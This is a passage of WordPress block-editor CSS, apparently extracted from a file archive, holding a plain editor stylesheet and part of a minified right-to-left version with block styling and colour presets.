.block-editor-block-list__insertion-point { display: none; } .block-editor-block-list__block[data-type="core/nextpage"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-nextpage { display: block; text-align: center; white-space: nowrap; } .wp-block-nextpage > span { font-size: 13px; position: relative; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; } .wp-block-nextpage::before { content: ""; position: absolute; top: calc(50%); right: 0; left: 0; border-top: 3px dashed #ccc; } .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus { min-height: auto !important; } .wp-block-post-content__placeholder { height: 100px; border: 1px dashed; display: flex; justify-content: center; align-items: center; } .wp-block-post-content__placeholder span { font-style: italic; } .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline { display: inline-block; } .wp-block-post-author { display: flex; flex-wrap: wrap; } .wp-block-post-author .wp-block-post-author__byline { font-size: 0.5em; margin-top: 0; position: relative; font-style: normal; } .wp-block-post-author .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author .wp-block-post-author__avatar img { margin: 0; } .wp-block-post-author .wp-block-post-author__avatar { margin-bottom: -8px; } .wp-block-post-author .wp-block-post-author__name { margin: 0; font-weight: bold; } .wp-block-post-author .wp-block-post-author__bio { margin: 0 0 8px; font-size: 0.7em; } .wp-block[data-align=left] > .wp-block-pullquote p, .wp-block[data-align=right] > .wp-block-pullquote p { font-size: 20px; } .wp-block-pullquote blockquote p { font-size: 28px; line-height: 1.6; } .wp-block-pullquote.is-style-solid-color blockquote p { font-size: 32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation { text-transform: none; font-style: normal; } .wp-block-pullquote .wp-block-pullquote__citation { color: inherit; } .wp-block-quote__citation { font-size: 13px; } .wp-block-rss li a > div { display: inline; } .wp-block-rss__placeholder-form { display: flex; align-items: stretch; } .wp-block-rss__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .wp-block-rss__placeholder-form > * { margin-bottom: 0; } } .wp-block-rss__placeholder-input { display: flex; align-items: stretch; flex-grow: 1; } .wp-block-rss__placeholder-input .components-base-control__field { margin: 0; display: flex; align-items: stretch; flex-grow: 1; margin-left: 8px; } .wp-block-search .wp-block-search__input { padding: 8px; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper { padding: 4px; } .wp-block-search .wp-block-search__button { height: auto; border-radius: initial; } .wp-block-search .wp-block-search__button.wp-block-search__button.wp-block-search__button { padding: 6px 10px; } .wp-block-search__components-button-group { margin-top: 10px; } .block-editor-block-list__block[data-type="core/separator"] { padding-top: 0.1px; padding-bottom: 0.1px; } [data-type="core/shortcode"] .block-editor-plain-text { max-height: 250px; } [data-type="core/shortcode"].components-placeholder { min-height: 0; } .blocks-shortcode__textarea { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .blocks-shortcode__textarea { transition-duration: 0s; } } @media (min-width: 600px) { .blocks-shortcode__textarea { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .blocks-shortcode__textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .blocks-shortcode__textarea::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .blocks-shortcode__textarea::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .blocks-shortcode__textarea::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .blocks-shortcode__textarea:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .wp-block[data-align=center] > .wp-block-site-logo { margin-right: auto; margin-left: auto; text-align: center; } .wp-block-site-logo.is-resized { display: table; } .wp-block-site-logo .custom-logo-link { cursor: inherit; } .wp-block-site-logo .custom-logo-link:focus { box-shadow: none; } .wp-block-site-logo .custom-logo-link.is-transient img { opacity: 0.3; } .wp-block-site-logo img { display: block; max-width: 100%; } .wp-block-social-links .wp-social-link { line-height: 0; } .wp-block-social-links .wp-social-link button { font-size: inherit; color: currentColor; height: auto; line-height: 0; padding: 0.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button { padding-right: calc((2/3) * 1em); padding-left: calc((2/3) * 1em); } .wp-block-social-links div.block-editor-url-input { display: inline-block; margin-right: 8px; } .wp-social-link:hover { transform: none; } .editor-styles-wrapper .wp-block-social-links { padding: 0; } .wp-block-social-links__social-placeholder { display: flex; opacity: 0.8; transition: all 0.1s ease-in-out; } @media (prefers-reduced-motion: reduce) { .wp-block-social-links__social-placeholder { transition-duration: 0s; } } .is-selected .wp-block-social-links__social-placeholder { opacity: 0.1; } .wp-block-social-links__social-placeholder > .wp-social-link { padding-right: 0 !important; margin-right: 0 !important; padding-left: 0 !important; margin-left: 0 !important; width: 0 !important; visibility: hidden; } .wp-block-social-links__social-placeholder > .wp-block-social-links__social-placeholder-icons { display: flex; position: absolute; } .wp-block-social-links__social-placeholder + .block-list-appender, .wp-block-social-links__social-placeholder .wp-social-link { padding: 0.25em; } .is-style-pill-shape .wp-block-social-links__social-placeholder + .block-list-appender, .is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link { padding-right: calc((2/3) * 1em); padding-left: calc((2/3) * 1em); } .wp-block-social-links__social-placeholder .wp-social-link::before { content: ""; display: block; width: 1em; height: 1em; border-radius: 50%; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link::before { background: currentColor; } .wp-block-social-links .block-list-appender { display: flex; align-items: center; justify-content: center; margin: 0; } .wp-block-social-links .block-list-appender::before { content: ""; display: block; width: 1em; height: 1em; } .wp-block-social-links .block-list-appender .block-editor-inserter { position: absolute; } .wp-block-social-links .block-list-appender .block-editor-button-block-appender.block-list-appender__toggle { margin: 0; } .wp-block-social-links.is-style-logos-only .block-list-appender { padding: 4px; } .wp-block[data-align=center] > .wp-block-social-links { justify-content: center; } .block-editor-block-preview__content .components-button:disabled { opacity: 1; } .wp-social-link.wp-social-link__is-incomplete { opacity: 0.5; } @media (prefers-reduced-motion: reduce) { .wp-social-link.wp-social-link__is-incomplete { transition-duration: 0s; } } .wp-block-social-links .is-selected .wp-social-link__is-incomplete, .wp-social-link.wp-social-link__is-incomplete:hover, .wp-social-link.wp-social-link__is-incomplete:focus { opacity: 1; } [data-type="core/social-links"] .wp-social-link:focus { opacity: 1; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-block-list__block[data-type="core/spacer"]::before { content: ""; display: block; position: absolute; width: 100%; height: 24px; transform: translateY(-12px); } .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .block-library-spacer__resize-container.has-show-handle { background: rgba(0, 0, 0, 0.1); } .is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .is-dark-theme .block-library-spacer__resize-container.has-show-handle { background: rgba(255, 255, 255, 0.15); } .block-library-spacer__resize-container { clear: both; margin-bottom: 28px; } .block-library-spacer__resize-container .components-resizable-box__handle::before { content: none; } .edit-post-visual-editor p.wp-block-subhead { color: #555; font-size: 1.1em; font-style: italic; } .wp-block-table { margin: 0; } .wp-block[data-align=left] > .wp-block-table, .wp-block[data-align=right] > .wp-block-table, .wp-block[data-align=center] > .wp-block-table { height: auto; } .wp-block[data-align=left] > .wp-block-table table, .wp-block[data-align=right] > .wp-block-table table, .wp-block[data-align=center] > .wp-block-table table { width: auto; } .wp-block[data-align=left] > .wp-block-table td, .wp-block[data-align=left] > .wp-block-table th, .wp-block[data-align=right] > .wp-block-table td, .wp-block[data-align=right] > .wp-block-table th, .wp-block[data-align=center] > .wp-block-table td, .wp-block[data-align=center] > .wp-block-table th { word-break: break-word; } .wp-block[data-align=center] > .wp-block-table { text-align: initial; } .wp-block[data-align=center] > .wp-block-table table { margin: 0 auto; } .wp-block-table table { border-collapse: collapse; } .wp-block-table td, .wp-block-table th { border: 1px solid; } .wp-block-table td.is-selected, .wp-block-table th.is-selected { border-color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); border-style: double; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); } .blocks-table__placeholder-form.blocks-table__placeholder-form { display: flex; flex-direction: column; align-items: flex-start; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .blocks-table__placeholder-form.blocks-table__placeholder-form { flex-direction: row; align-items: flex-end; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 0; } } .blocks-table__placeholder-input { width: 112px; margin-left: 8px; margin-bottom: 0; } .blocks-table__placeholder-input input { height: 36px; } .blocks-table__placeholder-input .components-base-control__field { margin-bottom: 0; } .wp-block-tag-cloud a { display: inline-block; margin-left: 5px; } .wp-block-tag-cloud span { display: inline-block; margin-right: 5px; color: #757575; text-decoration: none; } .wp-block-template-part__placeholder-preview-dropdown-content .components-popover__content, .wp-block-template-part__preview-dropdown-content .components-popover__content { min-width: 320px; padding: 0; } .wp-block-template-part__selection-preview-search-form { border-bottom: 1px solid #ddd; } .wp-block-template-part__selection-preview-container { background: #fff; padding-bottom: 16px; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item { border-radius: 2px; cursor: pointer; margin-top: 16px; transition: all 0.05s ease-in-out; border: 1px solid transparent; width: 100%; background-color: #fff; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:hover { border: 1px solid var(--wp-admin-theme-color); } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:focus { box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item.is-placeholder { min-height: 100px; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item-title { padding: 4px; font-size: 12px; text-align: right; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-header { padding: 16px 16px 0; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-content { padding: 0 16px; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-title { color: var(--wp-admin-theme-color); text-transform: uppercase; font-size: 11px; font-weight: 500; } .wp-block-template-part__block-control-group { display: flex; } .wp-block-template-part__block-control-group .wp-block-template-part__name-panel { outline: 1px solid transparent; padding: 8px 12px 8px 0; } .wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__field { align-items: center; display: flex; margin-bottom: 0; } .wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__label { margin-bottom: 0; margin-left: 8px; } .is-navigate-mode .is-selected .wp-block-template-part__name-panel { box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .is-dark-theme .is-navigate-mode .is-selected .wp-block-template-part__name-panel { box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .block-editor-block-list__block[data-type="core/template-part"].is-selected::after, .block-editor-block-list__block[data-type="core/template-part"].has-child-selected::after { top: 1px; bottom: 1px; right: 1px; left: 1px; border-radius: 1px; box-shadow: 0 0 0 1px #1e1e1e; } .wp-block-text-columns .block-editor-rich-text__editable:focus { outline: 1px solid #ddd; } pre.wp-block-verse { color: #1e1e1e; padding: 1em; } .wp-block[data-align=center] > .wp-block-video { text-align: center; } .editor-video-poster-control .components-base-control__label { display: block; } .editor-video-poster-control .components-button { margin-left: 8px; } .block-library-video-tracks-editor { z-index: 159990; } .block-library-video-tracks-editor > .components-popover__content { width: 360px; } .block-library-video-tracks-editor__track-list-track { display: flex; place-content: space-between; align-items: baseline; padding-right: 12px; } .block-library-video-tracks-editor__single-track-editor-label-language { display: flex; margin-top: 12px; } .block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control { width: 50%; } .block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control:first-child { margin-left: 16px; } .block-library-video-tracks-editor__single-track-editor-kind-select { max-width: 240px; } .block-library-video-tracks-editor__single-track-editor-buttons-container { display: flex; place-content: space-between; margin-top: 32px; } .block-library-video-tracks-editor__single-track-editor-edit-track-label { margin-top: 4px; margin-bottom: 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; display: block; } .block-library-video-tracks-editor > .components-popover__content > div { padding: 0; } .block-library-video-tracks-editor__track-list .components-menu-group__label, .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label { padding: 0; } .block-library-video-tracks-editor__single-track-editor, .block-library-video-tracks-editor__track-list, .block-library-video-tracks-editor__add-tracks-container { padding: 12px; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__label { margin-bottom: 4px; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__field { margin-bottom: 12px; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-text-control__input { margin-right: 0; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-input-control__label { margin-bottom: 4px; } .wp-block.wp-block-query-loop { max-width: 100%; padding-right: 0; list-style: none; } .editor-styles-wrapper .wp-block.wp-block-query { max-width: 100%; } .block-library-query-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-query__create-new-link { padding: 0 56px 16px 16px; } .wp-block > .wp-block-query-pagination { display: flex; flex-wrap: wrap; flex-direction: row; } .editor-styles-wrapper .wp-block-query-pagination { max-width: 100%; } .editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout { margin: 0; } .block-library-query-pagination-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { display: inline-block; margin-right: 0; margin-top: 0.5em; margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { margin-right: 0; } .wp-block-query-pagination-numbers a { text-decoration: underline; } .wp-block-query-pagination-numbers .page-numbers { margin-left: 2px; } .wp-block-query-pagination-numbers .page-numbers:last-child { margin-right: 0; } div[data-type="core/post-featured-image"] img { max-width: 100%; height: auto; display: block; } .editor-styles-wrapper .post-featured-image_placeholder { display: flex; flex-direction: row; align-items: flex-start; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; padding: 12px; } .editor-styles-wrapper .post-featured-image_placeholder svg { margin-left: 12px; } .editor-styles-wrapper .post-featured-image_placeholder p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; margin: 0; } :root .editor-styles-wrapper { /* stylelint-disable function-comma-space-after */ /* stylelint-enable function-comma-space-after */ } :root .editor-styles-wrapper .has-pale-pink-background-color { background-color: #f78da7; } :root .editor-styles-wrapper .has-vivid-red-background-color { background-color: #cf2e2e; } :root .editor-styles-wrapper .has-luminous-vivid-orange-background-color { background-color: #ff6900; } :root .editor-styles-wrapper .has-luminous-vivid-amber-background-color { background-color: #fcb900; } :root .editor-styles-wrapper .has-light-green-cyan-background-color { background-color: #7bdcb5; } :root .editor-styles-wrapper .has-vivid-green-cyan-background-color { background-color: #00d084; } :root .editor-styles-wrapper .has-pale-cyan-blue-background-color { background-color: #8ed1fc; } :root .editor-styles-wrapper .has-vivid-cyan-blue-background-color { background-color: #0693e3; } :root .editor-styles-wrapper .has-vivid-purple-background-color { background-color: #9b51e0; } :root .editor-styles-wrapper .has-white-background-color { background-color: #fff; } :root .editor-styles-wrapper .has-very-light-gray-background-color { background-color: #eee; } :root .editor-styles-wrapper .has-cyan-bluish-gray-background-color { background-color: #abb8c3; } :root .editor-styles-wrapper .has-very-dark-gray-background-color { background-color: #313131; } :root .editor-styles-wrapper .has-black-background-color { background-color: #000; } :root .editor-styles-wrapper .has-pale-pink-color { color: #f78da7; } :root .editor-styles-wrapper .has-vivid-red-color { color: #cf2e2e; } :root .editor-styles-wrapper .has-luminous-vivid-orange-color { color: #ff6900; } :root .editor-styles-wrapper .has-luminous-vivid-amber-color { color: #fcb900; } :root .editor-styles-wrapper .has-light-green-cyan-color { color: #7bdcb5; } :root .editor-styles-wrapper .has-vivid-green-cyan-color { color: #00d084; } :root .editor-styles-wrapper .has-pale-cyan-blue-color { color: #8ed1fc; } :root .editor-styles-wrapper .has-vivid-cyan-blue-color { color: #0693e3; } :root .editor-styles-wrapper .has-vivid-purple-color { color: #9b51e0; } :root .editor-styles-wrapper .has-white-color { color: #fff; } :root .editor-styles-wrapper .has-very-light-gray-color { color: #eee; } :root .editor-styles-wrapper .has-cyan-bluish-gray-color { color: #abb8c3; } :root .editor-styles-wrapper .has-very-dark-gray-color { color: #313131; } :root .editor-styles-wrapper .has-black-color { color: #000; } :root .editor-styles-wrapper .has-vivid-cyan-blue-to-vivid-purple-gradient-background { background: linear-gradient(-135deg, #0693e3 0%, #9b51e0 100%); } :root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background { background: linear-gradient(-135deg, #00d084 0%, #0693e3 100%); } :root .editor-styles-wrapper .has-light-green-cyan-to-vivid-green-cyan-gradient-background { background: linear-gradient(-135deg, #7adcb4 0%, #00d082 100%); } :root .editor-styles-wrapper .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background { background: linear-gradient(-135deg, #fcb900 0%, #ff6900 100%); } :root .editor-styles-wrapper .has-luminous-vivid-orange-to-vivid-red-gradient-background { background: linear-gradient(-135deg, #ff6900 0%, #cf2e2e 100%); } :root .editor-styles-wrapper .has-very-light-gray-to-cyan-bluish-gray-gradient-background { background: linear-gradient(-135deg, #eeeeee 0%, #a9b8c3 100%); } :root .editor-styles-wrapper .has-cool-to-warm-spectrum-gradient-background { background: linear-gradient(-135deg, #4aeadc 0%, #9778d1 20%, #cf2aba 40%, #ee2c82 60%, #fb6962 80%, #fef84c 100%); } :root .editor-styles-wrapper .has-blush-light-purple-gradient-background { background: linear-gradient(-135deg, #ffceec 0%, #9896f0 100%); } :root .editor-styles-wrapper .has-blush-bordeaux-gradient-background { background: linear-gradient(-135deg, #fecda5 0%, #fe2d2d 50%, #6b003e 100%); } :root .editor-styles-wrapper .has-purple-crush-gradient-background { background: linear-gradient(-135deg, #34e2e4 0%, #4721fb 50%, #ab1dfe 100%); } :root .editor-styles-wrapper .has-luminous-dusk-gradient-background { background: linear-gradient(-135deg, #ffcb70 0%, #c751c0 50%, #4158d0 100%); } :root .editor-styles-wrapper .has-hazy-dawn-gradient-background { background: linear-gradient(-135deg, #faaca8 0%, #dad0ec 100%); } :root .editor-styles-wrapper .has-pale-ocean-gradient-background { background: linear-gradient(-135deg, #fff5cb 0%, #b6e3d4 50%, #33a7b5 100%); } :root .editor-styles-wrapper .has-electric-grass-gradient-background { background: linear-gradient(-135deg, #caf880 0%, #71ce7e 100%); } :root .editor-styles-wrapper .has-subdued-olive-gradient-background { background: linear-gradient(-135deg, #fafae1 0%, #67a671 100%); } :root .editor-styles-wrapper .has-atomic-cream-gradient-background { background: linear-gradient(-135deg, #fdd79a 0%, #004a59 100%); } :root .editor-styles-wrapper .has-nightshade-gradient-background { background: linear-gradient(-135deg, #330968 0%, #31cdcf 100%); } :root .editor-styles-wrapper .has-midnight-gradient-background { background: linear-gradient(-135deg, #020381 0%, #2874fc 100%); } .editor-styles-wrapper .has-small-font-size { font-size: 13px; } .editor-styles-wrapper .has-regular-font-size, .editor-styles-wrapper .has-normal-font-size { font-size: 16px; } .editor-styles-wrapper .has-medium-font-size { font-size: 20px; } .editor-styles-wrapper .has-large-font-size { font-size: 36px; } .editor-styles-wrapper .has-larger-font-size, .editor-styles-wrapper .has-huge-font-size { font-size: 42px; } /** * Editor Normalization Styles * * These are only output in the editor, but styles here are NOT prefixed .editor-styles-wrapper. * This allows us to create normalization styles that are easily overridden by editor styles. */ .block-editor-block-list__block { margin-top: 28px; margin-bottom: 28px; } #end-resizable-editor-section { display: none; }css/dist/block-library/editor-rtl.min.css000064400000143556151202620300014421 0ustar00#start-resizable-editor-section{display:none}ul.wp-block-archives{padding-right:2.5em}.wp-block-audio{margin-right:0;margin-left:0}.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-right:0;padding-left:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.wp-block[data-align=center]>.wp-block-button{text-align:center;margin-right:auto;margin-left:auto}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{position:relative;cursor:text}.wp-block-button:not(.has-text-color):not(.is-style-outline) [data-rich-text-placeholder]:after{color:#fff}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}.wp-block-button__inline-link{color:#757575;height:0;overflow:hidden;max-width:290px}.wp-block-button__inline-link-input__suggestions{max-width:290px}@media (min-width:782px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:260px}}@media (min-width:960px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:290px}}.is-selected .wp-block-button__inline-link{height:auto;overflow:visible;margin-top:16px}.wp-button-label__width .components-button-group{display:block}.wp-button-label__width .components-base-control__field{margin-bottom:12px}div[data-type="core/button"]{display:table}.wp-block>.wp-block-buttons{display:flex;flex-wrap:wrap}.wp-block-buttons>.wp-block{margin-right:0;margin-top:.5em;margin-left:.5em}.wp-block-buttons>.block-list-appender{display:inline-flex;align-items:center}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-right:auto;margin-left:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}.wp-block-columns .wp-block{max-width:none;margin-right:0;margin-left:0}@media (min-width:600px){.editor-styles-wrapper .block-editor-block-list__block.wp-block-column:nth-child(2n){margin-right:32px}}@media (min-width:782px){.editor-styles-wrapper .block-editor-block-list__block.wp-block-column:not(:first-child){margin-right:32px}}.block-editor-block-list__block.wp-block-column.wp-block-column{margin-top:0;margin-bottom:0}.wp-block-cover{height:100%}.wp-block-cover.is-placeholder{min-height:auto!important;padding:0!important}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{position:absolute;z-index:1;top:50%;right:50%;transform:translate(50%,-50%);margin:0}.wp-block-cover .block-editor-block-list__layout{width:100%}.wp-block-cover .wp-block-cover__inner-container{text-align:right;margin-right:0;margin-left:0}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{position:absolute!important;top:0;right:0;left:0;bottom:0}.block-library-cover__resize-container:not(.is-resizing){height:auto!important}.wp-block-embed{margin-right:0;margin-left:0;clear:both}.wp-block-embed.is-loading{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:1em;min-height:200px;text-align:center;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e}.wp-block-embed.is-loading p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{position:absolute;top:0;right:0;left:0;bottom:0;opacity:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-file{display:flex;justify-content:space-between;align-items:center;margin-bottom:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file .wp-block-file__textlink{display:inline-block;min-width:1em}.wp-block-file .wp-block-file__textlink:focus{box-shadow:none}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em}.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{padding-right:2.5em;margin-right:0}.wp-block-freeform.block-library-rich-text__tinymce blockquote{margin:0;box-shadow:inset 0 0 0 0 #ddd;border-right:4px solid #000;padding-right:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{white-space:pre-wrap;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;color:#1e1e1e}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{padding:0 2px;margin:0 -2px;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;background:#e5f5fa}.wp-block-freeform.block-library-rich-text__tinymce code{padding:2px;border-radius:2px;color:#1e1e1e;background:#f0f0f0;font-family:Menlo,Consolas,monaco,monospace;font-size:14px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-right:auto;margin-left:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{width:96%;height:20px;display:block;margin:15px auto;outline:0;cursor:default;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-size:1900px 20px;background-repeat:no-repeat;background-position:50%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{padding-top:.5em;margin:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview{width:99.99%;position:relative;clear:both;margin-bottom:16px;border:1px solid 